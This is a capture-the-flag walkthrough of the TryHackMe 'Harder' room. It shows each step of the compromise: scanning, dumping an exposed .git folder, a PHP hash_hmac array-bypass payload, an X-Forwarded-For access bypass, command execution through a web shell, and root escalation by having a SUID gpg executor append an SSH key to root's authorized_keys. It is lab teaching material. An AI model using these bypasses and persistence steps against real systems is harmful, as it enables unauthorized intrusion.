Harder TryHackMe Write Up

12 minute read

Room Link: https://tryhackme.com/room/harder

Introduction

image

Tags: Alpine, Real World, Git, Seclists

Task 1:

The machine is completely inspired by real world pentest findings. Perhaps you will consider them very challenging but without any rabbit holes. Once you have a shell it is very important to know which underlying Linux distribution is used and where certain configurations are located.

Hints to the initial foothold: Look closely at every request. Re-scan all newly found web services/folders and may use some wordlists from seclists (https://tools.kali.org/password-attacks/seclists). Read the source with care.

Port Scan

$ nmap -sC -sV <ip>  
PORT   STATE SERVICE VERSION  
22/tcp open  ssh     OpenSSH 8.3 (protocol 2.0)  
80/tcp open  http    nginx 1.18.0  
|\_http-server-header: nginx/1.18.0  
|\_http-title: Error

Looking at the result of the nmap, we only have two ports open. As ssh doesn’t have that much of a attack surface, lets test port 80.

PORT 80

image

I tried to look for files like robots.txt ,sitemap.xml and also for the files like index.php, index.html, index.pl to get the idea of what the backend server might be running. But they all gave the same 404 error page.

Looking at the left bottom of the page, we know that the site is running php-fpm.

So next logical step will be using gobuster to find out the files and directories on the website.

GOBUSTER

$ gobuster dir -u [http://10.10.149.170/](http://10.10.149.170/) -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  -x php  
===============================================================  
Gobuster v3.0.1  
by OJ Reeves ([@TheColonial](http://twitter.com/TheColonial)) & Christian Mehlmauer ([@_FireFart_](http://twitter.com/_FireFart_))  
===============================================================  
[+] Url:            [http://10.10.149.170/](http://10.10.149.170/)  
[+] Threads:        10  
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  
[+] Status codes:   200,204,301,302,307,401,403  
[+] User Agent:     gobuster/3.0.1  
[+] Extensions:     php  
[+] Timeout:        10s  
===============================================================  
2020/08/17 12:02:15 Starting gobuster  
===============================================================  
Error: the server returns a status code that matches the provided options for non existing urls. [http://10.10.149.170/e1e7c995-4c41-444a-a052-d5bd9bfef79d](http://10.10.149.170/e1e7c995-4c41-444a-a052-d5bd9bfef79d) => 200. To force processing of Wildcard responses, specify the '--wildcard' switch

As we are getting response OK (200) for each page that doesn’t exists, we cant enumerate files and folder using gobuster.

Whenever we see unusual pattern, it is always better to analyse the request using Burp Suite.

Analyzing request over Burp Suite

Request

GET / HTTP/1.1  
Host: 10.10.149.170  
Cache-Control: max-age=0  
Upgrade-Insecure-Requests: 1  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9,ne;q=0.8  
Connection: close

Response

HTTP/1.1 200 OK  
Server: nginx/1.18.0  
Date: Mon, 17 Aug 2020 06:27:20 GMT  
Content-Type: text/html; charset=UTF-8  
Connection: close  
Vary: Accept-Encoding  
X-Powered-By: PHP/7.3.19  
Set-Cookie: TestCookie=just+a+test+cookie; expires=Mon, 17-Aug-2020 07:27:20 GMT; Max-Age=3600; path=/; **domain=pwd.harder.local**; secure  
Content-Length: 1985

Looking at the response headers, we now know the exact version of nginx and PHP on the webserver and we found a new virtual host on the server.

So, we add the entry on our /etc/hosts file.

10.10.149.170   pwd.harder.local

Visiting pwd.harder.local

image

We get a login page. Till now we do not have any credentials to try on this login page. But before thinking of brute forcing, I always like to try some common credentials like admin admin , admin password and so on. And with username as admin and password as admin, we get in.

image

Running Gobuster on this site.

$ gobuster dir -u [http://pwd.harder.local/](http://pwd.harder.local/) -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php
/index.php  
/auth.php  
/secret.php

But I didn’t get anything by visiting the found sites.

And then I remembered the tag on the room ie. git. So, I thought if this is a git repository, there might a .git folder.

image

And we get 403 forbidden.

Then to make sure, I tried to open a link that doesn’t exists.

image

So, there is definitely a .git directory on the server.

So, I used a tool called git-dumper to download all the files.

$ /opt/git-dumper/git-dumper.py [http://pwd.harder.local/](http://pwd.harder.local/) git-src  
[-] Testing [http://pwd.harder.local/.git/HEAD](http://pwd.harder.local/.git/HEAD) [200]                                                                                                                             
[-] Testing [http://pwd.harder.local/.git/](http://pwd.harder.local/.git/) [403]                                                                                                                                   
.......  
.......  
[-] Fetching [http://pwd.harder.local/.git/objects aa/938abf60c64cdb2d37d699409f77427c1b3826](http://pwd.harder.local/.git/objects/aa/938abf60c64cdb2d37d699409f77427c1b3826) [200]  
[-] Fetching [http://pwd.harder.local/.git/objects/be/c719ffb34ca3d424bd170df5f6f37050d8a91c](http://pwd.harder.local/.git/objects/be/c719ffb34ca3d424bd170df5f6f37050d8a91c) [200]  
[-] Running git checkout .

Downloaded files and folders

$ ls -an git-src/  
total 48  
drwxr-xr-x 3 1000 1000  4096 Aug 17 12:29 .  
drwxr-xr-x 9 1000 1000  4096 Aug 17 12:29 ..  
-rw-r--r-- 1 1000 1000 23820 Aug 17 12:29 auth.php  
drwxr-xr-x 7 1000 1000  4096 Aug 17 12:29 .git  
-rw-r--r-- 1 1000 1000    27 Aug 17 12:29 .gitignore  
-rw-r--r-- 1 1000 1000   431 Aug 17 12:29 hmac.php  
-rw-r--r-- 1 1000 1000   608 Aug 17 12:29 index.php

Content inside index.php

<?php  
  session_start();  
  require("auth.php");  
  $login = new Login;  
  $login->authorize();  
  require("hmac.php");  
  require("credentials.php");  
?>   
  <table style="border: 1px solid;">  
     <tr>  
       <td style="border: 1px solid;">url</td>  
       <td style="border: 1px solid;">username</td>  
       <td style="border: 1px solid;">password (cleartext)</td>  
     </tr>  
     <tr>  
       <td style="border: 1px solid;"><?php echo $creds[0]; ?></td>  
       <td style="border: 1px solid;"><?php echo $creds[1]; ?></td>  
       <td style="border: 1px solid;"><?php echo $creds[2]; ?></td>  
     </tr>  
   </table>

Here, it includes a file auth.php and is calling a method authorize in the file auth.php, and it is including files hmac.php and credentials.php. And at last, it prints out the URL, username and password.

We have files auth.php and hmac.php locally but we don’t have the file credentials.php.

Contents inside auth.php

auth.php has a lot of content. To summarize, it tries to login with username and password provided by user and the requests dies if the username is not equal to admin and password not equal to admin.

<?php                                                                                                                               define('LOGIN_USER', "admin"); 
define('LOGIN_PASS', "admin");  

Contents inside hmac.php

<?php  
if (empty($_GET['h']) || empty($_GET['host'])) {  
   header('HTTP/1.0 400 Bad Request');  
   print("missing get parameter");  
   die();  
}  
require("secret.php"); //set $secret var  
if (isset($_GET['n'])) {  
   $secret = hash\_hmac('sha256', $_GET['n'], $secret);  
}$hm = hash_hmac('sha256', $_GET['host'], $secret);  
if ($hm !== $_GET['h']){  
  header('HTTP/1.0 403 Forbidden');  
  print("extra security check failed");  
  die();  
}  
?>

Here the script first checks if either $_GET[‘h’] or $_GET[‘host’] is empty. If one of them is empty, it print something and connection dies.

Then it includes a file secret.php, which we don’t have in the git repository.

Then if the $_GET[‘n’] is not empty, it generates a SHA256 hash value using HMAC method and the key is included from secret.php file and the new hash is kept on variable $secret.

Now using that hash in $secret as a key, SHA256 hash of $_GET[‘host’] parameter is generated and stored in variable $hm.

And finally if $hm is not equal to $_GET[‘h’], the connection dies.

So now we have to predict the final result and pass it on $_GET[‘h’]. Seems impossible right, as we don’t know what is the content of that secret.php file.

And while I was looking around to bypass our condition, I came across this article which explains how we can bypass this condition.

What it does it, pass $_GET[’n’] as array which in turns gives the value of $secret as false.

php> $secret = hash_hmac('sha256', Array(), "SecretKey");  
php> echo $secret == false  
1

Read the article for understanding of how this concept works.

Final payload

/?n[]=&host=securify.nl&h=c8ef9458af67da9c9086078ad3acc8ae71713af4e27d35fd8d02d0078f7ca3f5

And we get the credentials

image

url:http://shell.harder.htb  
username:evs  
password:<password>

Looking at the URL, it was a little bit weird.It looks like an URL that you usually see on Hack The Box platform.

Having doubts on my mind, I added the entry on my /etc/hosts file which later, I regretted very much.

10.10.149.170   pwd.harder.local shell.harder.htb

Shell.harder.htb

image

We get the same page that we have got earlier. Now thinking the shell on the URL, I thought there was some kind of webshell. But I couldn’t enumerate the files and folders here. But as I was fuzzing around, i found something interesting.

/Index.php gives 404 nothing here page with response code 200

image

/this_page_doesnot_exists.php gives 404 not found

image

So looks like we can enumerate the .php files on the web server.

So first thing I tried the PHP Backdoor shells using Gobuster.

The wordlist that I used can be found here.

$ gobuster dir -u [http://shell.harder.htb/](http://shell.harder.htb/) -w /opt/SecLists-master/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt  --wildcard

But I got nothing.

Then I used wfuzz to find if there are any other PHP files.

$ wfuzz -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc 404 [http://shell.harder.htb/FUZZ.php](http://shell.harder.htb/FUZZ.php)000000001:   200        73 L     166 W    1985 Ch     "index"                                                                                                          
000000002:   200        959 L    5171 W   86626 Ch    "phpinfo"

I visited both links, and apart from the information on phpinfo, I did not get any hint of a web shell.

Thinking that these files may need parameters for command execution, I used Burp to fuzz the parameters.

GET /index.php?§cmd§=ls%20-la%20/ HTTP/1.1  
Host: shell.harder.htb  
Cache-Control: max-age=0  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (X11; Linux x86\_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9,ne;q=0.8  
Connection: close

Used wordlist

/opt/SecLists-master/Discovery/Web-Content/burp-parameter-names.txt

But I got nothing. And when I was just about to give up, my friend gave me a hint that somethings are not what they look like. At this point in time, I was completely out of mind and forgotten that the URL looked weird. Then after my friend’s suggestion, I made the sane decision of adding shell.harder.local to my /etc/hosts file.

10.10.149.170   pwd.harder.local shell.harder.htb shell.harder.local

Shell.harder.local

image

Finally, I got a login page. I logged in using the credentials I had got earlier and got this message.

image

Intercepting the request with burp

Request

POST /index.php HTTP/1.1  
Host: shell.harder.local  
Content-Length: 63  
Cache-Control: max-age=0  
Upgrade-Insecure-Requests: 1  
Origin: [http://shell.harder.local](http://shell.harder.local)  
Content-Type: application/x-www-form-urlencoded  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Referer: [http://shell.harder.local/](http://shell.harder.local/)  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9,ne;q=0.8  
Cookie: PHPSESSID=4ruidq12b5nl2hegfdkgpckep8  
Connection: closeaction=set_login&user=evs&pass=<password>

Searching around I found different headers that can be used to bypass this check.

And X-Forwareded-For did the trick.

Request

POST /index.php HTTP/1.1  
Host: shell.harder.local  
Content-Length: 63  
Cache-Control: max-age=0  
Upgrade-Insecure-Requests: 1  
Origin: [http://shell.harder.local](http://shell.harder.local)  
Content-Type: application/x-www-form-urlencoded  
X-Forwarded-For: 10.10.10.10  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Referer: [http://shell.harder.local/](http://shell.harder.local/)  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9,ne;q=0.8  
Cookie: PHPSESSID=4ruidq12b5nl2hegfdkgpckep8  
Connection: closeaction=set_login&user=evs&pass=<password>

Response

<div class="container"><div class="pb-2 mt-4 mb-2">  
            <h2> Execute a command </h2>  
        </div><form method="POST">  
            <div class="form-group">  
                <label for="cmd"><strong>Command</strong></label>  
     <input type="text" class="form-control" name="cmd" id="cmd" value="" required>  
                    
           </div>  
            <button type="submit" class="btn btn-primary">Execute</button>  
        </form><div class="pb-2 mt-4 mb-2">  
            <h2> Output </h2>  
        </div>  
        <pre><small>No result.</small></pre>  
    </div>

So now, we can execute command by using post method using parameter cmd.

POST Request Parameter

action=set_login&user=evs&pass=<password>&cmd=ls -la

Partial Response

total 44  
drwxr-xr-x    1 www      www           4096 Oct  3  2019 .  
drwxr-xr-x    1 www      www           4096 Jul  7 22:28 ..  
-rw-r--r--    1 www      www          23838 Oct  3  2019 auth.php  
-rw-r--r--    1 www      www           2014 Oct  3  2019 index.php  
-rw-r--r--    1 www      www            275 Oct  3  2019 ip.php  
drwxr-xr-x    4 www      www           4096 Oct  3  2019 vendor

Now the next step would be to get a reverse shell. I normally use this reverse shell cheat sheet to get the reverse shell.

There was no bash on the server but there was netcat and python3. So, I tried those payloads to get the reverse shell. But for some reason, I was just getting the connection back but no shell. So after trying for some time, I left and started manual enumeration.

And after searching for a long time, I got a evs-backup.sh file, having login credentials for evs.

POST Request Parameter

action=set_login&user=evs&pass=<password>&cmd=find / -type f -name "*.sh" 2>/dev/null

Partial Response

/usr/bin/findssl.sh  
/usr/local/bin/run-crypted.sh  
/etc/periodic/15min/evs-backup.sh  
/dev/shm/linpeas.sh

File contents

POST Request Parameter

action=set_login&user=evs&pass=<password>&cmd=cat /etc/periodic/15min/evs-backup.sh

Partial Response

#!/bin/ash  
    
#ToDo: create a backup script, that saves the /www directory to our internal server  
# for authentication use ssh with user &quot;evs&quot; and password &quot;<password-redacted>&quot;

**evs:**

Lets try to login with ssh and finally we get in.

$ ssh [email protected]  
[email protected]'s password: <password>  
Welcome to Alpine!The Alpine Wiki contains a large amount of how-to guides and general  
information about administrating Alpine systems.  
See http://wiki.alpinelinux.org/.You can setup the system with the command: setup-alpineYou may change this message by editing /etc/motd.  
harder:~$

Reading user.txt

image

Privilage Escalation

Using linpeas.sh

Copying linpeas.sh to the box

$ scp linpeas.sh [email protected]:/dev/shm/linpeas.sh  
[email protected]'s password:   
linpeas.sh

Executing linpeas.sh

$ sh /dev/shm/linpeas.sh

Interesting files found from result of linpeas.sh

-rwsr-x--- 1 root evs /usr/local/bin/execute-crypted  
-rwxr-x--- 1 root evs /usr/local/bin/run-crypted.sh                                                                                            
-rwxr-x--- 1 root evs /var/backup/[email protected]

First file /usr/local/bin/execute-crypted is owned by root and has SUID bit enabled which can be potential vector for our priv esc.

Running /usr/local/bin/execute-crypted

harder:/dev/shm$ /usr/local/bin/execute-crypted   
[*] Current User: root  
[-] This program runs only commands which are encypted for [email protected] using gpg.  
[-] Create a file like this: echo -n whoami > command  
[-] Encrypt the file and run the command: execute-crypted command.gpg  
harder:/dev/shm$

The output says

  • It is currently running as root.
  • It runs files which are encrypted for [email protected] and files can be executed as execute-crypted <encrypted-file.gpg>.

So we need a public GPG key to encrypt our payload and only we can have command execution as root.

Checking for keys

harder:/dev/shm$ gpg --list-keys  
harder:/dev/shm$

NO keys were found.

But if we checked the result from linpeas.sh, we have a file /var/backup/[email protected] containing the public key.

Content of /var/backup/[email protected]

-----BEGIN PGP PUBLIC KEY BLOCK-----
mDMEXwTf8RYJKwYBBAHaRw8BAQdAkJtb3UCYvPmb1/JyRPADF0uYjU42h7REPlOK  
AbiN88i0IUFkbWluaXN0cmF0b3IgPHJvb3RAaGFyZGVyLmxvY2FsPoiQBBMWCAA4  
FiEEb5liHk1ktq/OVuhkyR1mFZRPaHQFAl8E3/ECGwMFCwkIBwIGFQoJCAsCBBYC  
AwECHgECF4AACgkQyR1mFZRPaHSt8wD8CvJLt7qyCXuJZdOBPR+X7GI2dUg0DRRu  
c5gXzwk3rMMA/0JK6ZwZCHObWjwX0oLc3jvOCgQiIdaPq1WqN9/fhLAKuDgEXwTf  
8RIKKwYBBAGXVQEFAQEHQNa/To/VntzySOVdvOCW+iGscTLlnsjOmiGaaWvJG14O  
AwEIB4h4BBgWCAAgFiEEb5liHk1ktq/OVuhkyR1mFZRPaHQFAl8E3/ECGwwACgkQ  
yR1mFZRPaHTMLQD/cqbV4dMvINa/KxATQDnbaln1Lg0jI9Jie39U44GKRIEBAJyi  
+2AO+ERYahiVzkWwTEoUpjDJIv0cP/WVzfTvPk0D  
=qaa6  
-----END PGP PUBLIC KEY BLOCK-----

Importing the key

harder:/dev/shm$ gpg --import /var/backup/[email protected]   
gpg: key C91D6615944F6874: public key "Administrator <[email protected]>" imported  
gpg: Total number processed: 1  
gpg:               imported: 1

Now listing keys

harder:/dev/shm$ gpg --list-keys  
/home/evs/.gnupg/pubring.kbx  
----------------------------  
pub   ed25519 2020-07-07 [SC]  
      6F99621E4D64B6AFCE56E864C91D6615944F6874  
uid           [ unknown] Administrator <[email protected]>  
sub   cv25519 2020-07-07 [E]  
harder:/dev/shm$

Creating payload

Generating ssh key pairs on local computer

$ ssh-keygen -f root  
Generating public/private rsa key pair.  
Enter passphrase (empty for no passphrase):   
Enter same passphrase again:   
Your identification has been saved in root.  
Your public key has been saved in root.pub.

On remote box, creating a directory /root/.ssh and copying root.pub from our local box to /root/.ssh/authorized_keys

Contents of file commands

#!/bin/sh  
mkdir /root/.ssh/  
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC4naClwknGPG6EXz29MFZEEO1/4n7uo6GiOC/5eh8xDFgmUjulNxcVREUiEGEB+KrE3W7ZHQ+spri9JhcZ7QRK5cEq1HfbdcXLJEPgDimkeG1wktsOYlg4Xj1pjZOGzPVj0SAO8QZmEfiiB7aYsDYXK2z3bM1rjcdgB48CWFwCd7gMwFgoDCqsWDCfQsSlaXl459y3xdYfSfb1ZPszQlOohWKWANdqwZTHGtHybuGLtb1gbeg5z55gx1C7OBeYIWkYCR0zVzLzwJem1UaLOPsWvvg4mzSdOVSB//dL/T87yQkt2Pv6dDw8zvuAlaXIbFOw02uBobIIYVpJVtrUC47yNMBFSpAfPIZX/IpN8XgRhRr5imBCH2N8u3zMYhgBb6yUKS0cR55SJUzdojNi+s0X0pJeNtKiWB4Q3at3pHe/KffkGBZfEJ/98GIig6arVWw3z/5tRDhePhrpIlGG1nPtAN6NruC3Sap5YfJAmSiQEcQqMFAqlsoTYxTY4RE1Cqc=" >>/root/.ssh/authorized_keys

Encrypting the file with GPG public key

harder:/dev/shm$ gpg -e -r "Administrator" commands   
gpg: 6C1C04522C049868: There is no assurance this key belongs to the named usersub  cv25519/6C1C04522C049868 2020-07-07 Administrator <[email protected]>  
 Primary key fingerprint: 6F99 621E 4D64 B6AF CE56  E864 C91D 6615 944F 6874  
      Subkey fingerprint: E51F 4262 1DB8 87CB DC36  11CD 6C1C 0452 2C04 9868It is NOT certain that the key belongs to the person named  
in the user ID.  If you *really* know what you are doing,  
you may answer the next question with yes.Use this key anyway? (y/N) y  
harder:/dev/shm$

Execution

harder:/dev/shm$ /usr/local/bin/execute-crypted /dev/shm/commands.gpg   
gpg: encrypted with 256-bit ECDH key, ID 6C1C04522C049868, created 2020-07-07  
      "Administrator <[email protected]>"  
harder:/dev/shm$

Now lets try to ssh from our box

$ ssh -i root [email protected]  
Welcome to Alpine!The Alpine Wiki contains a large amount of how-to guides and general  
information about administrating Alpine systems.  
See http://wiki.alpinelinux.org/.You can setup the system with the command: setup-alpineYou may change this message by editing /etc/motd.  
harder:~#

And we are root.

Reading root.txt

image

This box really tested my patience at times. I really had to try harder to get my way in. And I wanted to thank my friend for helping me out when I was having a hard time.

A lot of thanks to the creator of this wonderful room and thanks to you for reading this write up. I hope you have enjoyed reading it. Reply if you have any suggestions regarding the write up.

This article was first published on medium and regenerated using npm module medium-to-markdown.
You can read my article on medium